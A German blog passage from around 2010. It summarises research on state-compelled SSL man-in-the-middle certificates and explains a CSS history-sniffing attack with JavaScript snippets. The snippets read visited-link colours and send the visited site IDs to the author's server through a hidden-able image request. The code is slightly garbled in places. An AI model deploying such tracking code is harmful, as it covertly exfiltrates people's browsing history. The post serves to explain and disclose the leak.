Nach einem aktuellen Blogartikel – Staatliche SSL MITM Angriffe – erscheint die heutige Meldung bei Heise “Verwaistes Root-Zertifikat sorgt für Verwirrung” gleich in einem ganz anderen Licht. CIA? FBI oder Homeland? Für wen wurde dieses Zertifikat wohl ausgestellt? 
Kurz zum Löschvorgang:
Extras => Einstellungen => Erweitert => Zertifikate anzeigen => “RSA Security Inc” expandieren und “RSA Security 1024 v3″ löschen.
Ich will das nur mal festhalten… Damit die folgenden Generationen von Internetnutzern wissen, an welchen Fronten die Internetnutzer im Jahr 2010 kämpfen mussen.
Wenn es nicht illegal wäre (ist es das?), würde ich mir den Film kurz runterladen. Aber so warte ich halt noch 43 Minuten…. hoffentlich vergisst der Prakitant im ARD-Mediawahnthek-Rechenzentrum nicht, den Film freizuschalten… :->
Dieser Artikel basiert auf einer Veröffentlichung von Sid Stamm und Christopher Soghoian. S. Quelle (unten).
Nur kurz ein Überblick über den grundlegenden Aufbau von SSL:
In der SSL pki gibt es drei Arten von Zertifikaten:
root CA: Diese sind meist in Browsern hinterlegt. Das ist die s.g. Wurzelinstanz. Davon gibt es viele verschiedene.
intermediate CA: Die vorher genannte Wurzelinstanz vertraut diesen Zwischeninstanzen. Mit diesen Zwischeninstanzen können SSL-Zertifikate für alle Websites erstellt werden. Kann der Browser die Vertrauenskette (chain of trust) bis zur in seiner Datenbank hinterlegten Wurzelinstanz (root CA) zurückverfolgen, wird dem SSL-Zertifikat vertraut und die bekannten blauen, grünen Balken und Vorhängeschlösser werden angezeigt um dem Nutzer eine verschlüsselte Verbindung anzuzeigen.
untrusted CA: CAs denen werder eine intermediate CA noch eine root CA vertraut, nennt sich untrusted CA. Hat eine Webseite ein solches Zertifikat hinterlegt, kommt die bekannte Meldung, dass “dieser Verbindung nicht getraut” wird.
Für den Endnutzer gibt es keinerlei Unterschied zwischen root CA und intermediate CA. Beide veranlassen den Browser eine “sichere” Verbindung anzuzeigen.
Dadurch könnte TÜRKTRUST ein Zertifikat für banking.postbank.de, obwohl das echte Zertifikat eigentlich von Verisign kommt. Bei beiden Zertifikaten würde der Browser eine sichere Verbindung zu banking.postbank.de anzeigen.
Sid Stamm und Christopher Soghoian haben in einem Paper einen neuen “Angriff” auf SSL vorgestellt den sie “compelled certificate creation attack” nennen. Dieser kann vor allem von Geheimdiensten eingesetzt werden um mit SSL verschlüsselte Verbindungen zu überwachen.
Es gibt diverse interessante Punkte in dem Paper:
Chrome, Safari und der Internet Explorer setzen alle auf die im Windows Trusted Root Store hinterlegten Zertifikate. Besonders pikant an dieser Tatsache ist, dass folgende staatliche root CAs standardmäßig hinterlegt sind:
Österreich, Brasilien, Finnland, Frankreich, Hong Kong, Indien, Japan, Korea, Lettland, Macao, Mexico, Portugal, Serbien, Slowenien, Spanien, Schweiz, Taiwan, Niederlande, Tunesien, Türkei, USA, Uruguay
Firefox hat eine eigene Datenbank für root CAs.
Im Paper wird auch ein Beispiel angegeben, was durch die Integration von staatlichen root CAs möglich wäre:
As an example of what is currently possible,should it do so, the Korean Information SecurityAgency can create a valid SSL certificate for the Industrial and Commercial Bank of China (whose actual certificate is issued by VeriSign, USA), that can be used to perform an effective man-in-the-middle attack against users of Internet Explorer.
s. Quelle
Dieses Szenario halten die Forscher aber für eher unwahrscheinlich, da durch die Nutzung des eigenen staatlichen Zertifikats zu viele Spuren auf den abgehörten Rechnern bleiben würden.
Für viel wahrscheinlicher halten es die Forscher, dass Zertifizierungsstellen durch gesetzliche Regelungen und Geheimdienste dazu aufgefordert werden ihnen bei der Überwachung behilflich zu sein. Die Forscher nennen Beispiele aus den USA, bei denen diese Hilfestellung durch Telekommunikationsanbieter schoneinmal geschehen ist:
Examples of compelled assistance using these statutes include a secure email provider that was required to place a covert back door in its product in order to steal users’ encryption keys, and a consumer electronics company that was forced to remotely enable the microphones in a suspect’s auto-mobile dashboard GPS navigation unit in order to covertly record their conversations.
s. Quelle
Dass diese Szenarien durchaus real sein können, wollen die Forscher auch beweisen. Im Oktober 2009 war einer der Autoren auf einer Konferenz in Washington, D.C., die die gesetzmäßige TK-Überwachung zum Thema hatte.
Eine der Firmen, die auch auf dieser Konferenz waren (Packet Forensics), hat dort die s.g. LI-5 Serie vorgestellt. Ein kleines Gerät, welches das “Internet Cafe Problem” ideal lösen soll:
The 5-Series is an ideal solution to the “Internet Cafe Problem”. Quick deplyment and remote control minimize personnel risk and maximize collection capabilities.
(Zitat aus dem Werbeprospekt,s. Quelle)
Interessant an dem Gerät sind die Features:
“Packet Forensics’ devices are designed to be inserted-into and removed-from busy networks without causing any noticeable interruption [...] This allows you to conditionally intercept web, e-mail, VoIP and other traffic at-will, even while it remains protected inside an encrypted tunnel on the wire. Using ‘man-in-the-middle’ to intercept TLS or SSL is essentially an attack against the underlying Diffie-Hellman cryptographic key agreement protocol [. . . ]To use our product in this scenario, [government] users have the ability to import a copy of any legitimate key they obtain (potentially by court order) or they can generate ‘look-alike’ keys designed to give the subject a false sense of confidence in its authenticity.”
(Zitat aus dem Werbeprospekt, s. Quelle)
Auf der Webseite von Packet Forensics ist die LI-5 Serie nur mit Username und Passwort zu erreichen:
http://www.packetforensics.com/products.safe
In dem Paper (Quelle) sind allerdings Scans von Werbeprospekten dabei, von denen auch die oben zitierten Texte stammen.
Weiter geht es in dem Paper auch um VeriSign und Etisalat und deren eventuelle Kooperation mit staatlichen Behören. Da bringen die Autoren allerdings keine echten Beweise sondern eher Vermutungen ins Spiel.
Wie die Situation in Deutschland ist, bleibt leider noch offen. Eine Bundes – CA ist scheinbar nicht in den Browsern integriert. Ob root CA-Anbieter in Deutschland dazu gezwungen werden können für bestimmte Domains Zertifikate (oder gar komplette intermediate CAs) auszustellen, wird hoffentlich bald untersucht und veröffentlicht.
http://files.cloudprivacy.net/ssl-mitm.pdf
Gestern wurde ich von @tslg auf die Webseite www.startpanic.com hingewiesen. Nach einem Klick auf “Lets Start” findet die Webseite plötzlich Seiten, die man während dem surfen besucht hat. Erstaunlich und und wirkungsvoll. Man will gleich die Petition unterschreiben:
We are gathering petition signatures with the request to patch the privacy vulnerabilities of web different web browsers. This petition will be sent to the four major development companies – Mozilla Corp., Apple inc., Microsoft Corp. and Opera Software ASA. Join us for a safe and secure Internet!
Doch was passiert im Hintergrund, wie kommt die Webseite an die Daten? Eine unbekannte Sicherheitslücke in allen Browsern? Nicht wirklich.
Die Idee dahinter ist gut und die Webseite ist auch interessant umgesetzt. Da aber keinerlei 
Informationen über die Funktionsweise auf der Webseite stehen, hab ich mir das JavaScript, was im Hintergrund vom Browser ausgeführt wird, mal genauer angesehen.
Dieses Javascript ist ziemlich aufwendig und man braucht einige Zeit bis man es vollständig nachvollzogen hat… vor allem wenn man, wie ich, kein Javascript-Nerd ist.
Nachdem ich das Prinzip verstanden hatte, hab ich einen eigenen Code geschrieben. Der ist deutlich kürzer, arbeitet aber ähnlich.
Die Testwebseite:
http://www.it-blogger.net/files/jsinfogath/jsinfogath.htm
Auf dieser Webseite werden 2 Dateien eingebunden:
In der itblogger.js sind 2 Javascript-Funktionen zu finden, die die Auswertung Informationen machen.
Die erste Funktion heißt writeURL(). Diese Funktion greift auf das Array “urls” zu und schreibt nacheinander Links zu den den Webseiten, die in diesem Array stehen, auf die Testwebseite. Zusätzlich wird jeder einzelne Link mit einer eindeutigen ID versehen. D.h. google.de hat die ID 0, it-blogger.net hat die ID 1,… playboy.de hat die ID 4.
Diese Links werden über die style.css unterschiedlich formatiert. Bereits besuchte Webseiten werden grün angezeigt, nicht besuchte Webseiten werden rot angezeigt. D.h. playboy.de wird wahrscheinlich grün sein, spiegel.de rot.
Das ist bisher nichts besonderes. Diese Funktion findet man auf vielen verschiedenen Webseiten und Links werden ja sowieso immer unterschiedlich angezeigt.
Bei der zweiten Funktion wird es interessant. checkState() geht die vorher erstellten Links durch und schaut ob diese grün oder rot dargestellt werden. Das passiert in diesem Codeabschnitt:
1: var besuchteseiten = “”;
2: for(var i = 0; i<urls.length;i++){
3: var besucht = window.getComputedStyle(document.getElementById4(i),”" ).getPropertyValue(“color”);[...]
5: if(besucht==”rgb(0, 128, 0)”){
6: besuchteseiten = besuchteseiten +”id=”+i;
7: }8:}
Über die Funktion getComputedStyle() (Z. 3) wird überprüft, wie der Browser den Link gerade anzeigt (rot oder grün) . Dazu wählt die Funktion über getElementById() die Links (wir hatten Sie ja mit einer ID versehen) nacheinander aus und überprüft ob die Eigenschaft “color”gleich rgb(0, 128, 0) (also grün) ist.
Wenn dies der Fall ist, schreibt die Funktion “id=x” (x steht für die jeweilige ID der Webseite) in die Variable “besuchteseiten“. Wenn mehrere Webseiten der Liste besucht wurden, werden diese zusammengesetzt in der Varaible gespeichert. Also id=0&id=2,… Außerdem wird ein neues Element unter “Besuchte Seiten” hinzugefügt.
Nachdem alle Webseiten überprüft und gelistet wurden, erzeugt die Funktion ein Bild:
1: div = document.getElementById(‘besucht’);
2: var img = document.createElement(“img”);
3: img.setAttribute(“src”,”http://www.it-blogger.net/files/jsinfogath/get.php?”+besuchteseiten);
4: 5: div.appendChild(img);
Dieses Bild hat als Quelle (Z 3) http://www.it-blogger.net/files/jsinfogath/get.php? und den String aus besuchten Webseiten:
Z.B: http://www.it-blogger.net/files/jsinfogath/get.php?id=1&id=3
In diesem wurden also die Webseiten mit der ID 1 und 4 vom Client besucht. D.h. google.de und winfuture.de.
Dieses Bild versucht der Browser aufzurufen. Erfolglos, denn es gibt das Bild ja nicht. Über den versuchten Aufruf haben wir aber die Informationen über die vom Client besuchten Webseiten, zu einem Server transportiert und könnten diese auf Serverseite weiterverarbeiten. In diesem Beispiel hier passiert auf Serverseite natürlich nichts! 
Man kann natürlich auch das Bild verstecken – dann würde nichtmal der Platzhalter angezeigt werden. (siehe auskommentierte Zeile im Skript).
Auf startpanic.com wird eine etwas größere Datenbank für die Ermittlung der Webseiten verwendet:
http://www.startpanic.com/db/db_en.txt
Das sorgt natürlich für ein besseres Ergebnis. Um alles im Hintergrund zu überprüfen nutzt Startpanic kleine iframes, in die die jeweiligen Links eingebettet und danach überprüft werden. Ingesamt sieht die Startpanic-Version natürlich viel spektakulärer aus – es fehlt aber leider der technische Hintergrund. Das wurde hiermit erledigt
